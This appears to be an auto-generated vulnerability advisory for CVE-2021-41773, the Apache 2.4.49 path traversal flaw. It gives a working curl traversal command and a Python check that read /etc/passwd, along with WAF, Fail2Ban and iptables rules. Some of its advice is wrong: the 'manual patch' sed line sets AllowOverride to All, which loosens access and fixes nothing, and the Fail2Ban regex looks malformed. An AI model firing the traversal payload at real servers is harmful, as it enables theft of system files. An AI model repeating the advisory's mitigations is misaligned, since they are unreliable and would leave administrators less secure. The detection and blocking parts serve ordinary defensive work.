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How the CVE Works:
CVE-2021-41773 is a critical vulnerability in Apache HTTP Server 2.4.49, caused by improper path normalization. Attackers exploit a flaw in the `ap_normalize_path()` function, allowing traversal outside restricted directories. By sending crafted requests containing `../` sequences, an attacker can access arbitrary files on the server. If `mod_cgi` is enabled, this can escalate to remote code execution (RCE). The vulnerability stems from insufficient validation of URL-encoded characters, permitting unauthorized access to sensitive files like `/.htaccess` or /etc/passwd.
DailyCVE Form:
Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal → RCE
Severity: Critical
Date: 2021-10-05
Prediction: Patch expected by 2021-10-15
What Undercode Say:
Analytics:
- Exploits surged within 48 hours of disclosure.
- Mostly targets misconfigured cloud instances.
- Shodan shows ~50k vulnerable servers pre-patch.
Exploit Command:
curl -v "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
Mitigation Commands:
Immediate fix: sudo apt-get update && sudo apt-get upgrade apache2 Manual patch (if upgrade delayed): sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf sudo systemctl restart apache2
Detection Script (Python):
import requests
vuln_url = "http://example.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
response = requests.get(vuln_url)
if "root:x:" in response.text:
print("[!] Vulnerable to CVE-2021-41773")
WAF Rule (ModSecurity):
SecRule REQUEST_URI "@contains ../" "id:1000,deny,msg:'CVE-2021-41773 Exploit Attempt'"
Log Monitoring (Fail2Ban):
failregex = ^<HOST>."GET .../. HTTP/\d.\d" 200
Post-Patch Verification:
httpd -v | grep "2.4.50" || echo "Still Vulnerable"
Network Blocking (IPTables):
iptables -A INPUT -p tcp --dport 80 -m string --string "../" --algo bm -j DROP
End of Report.
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
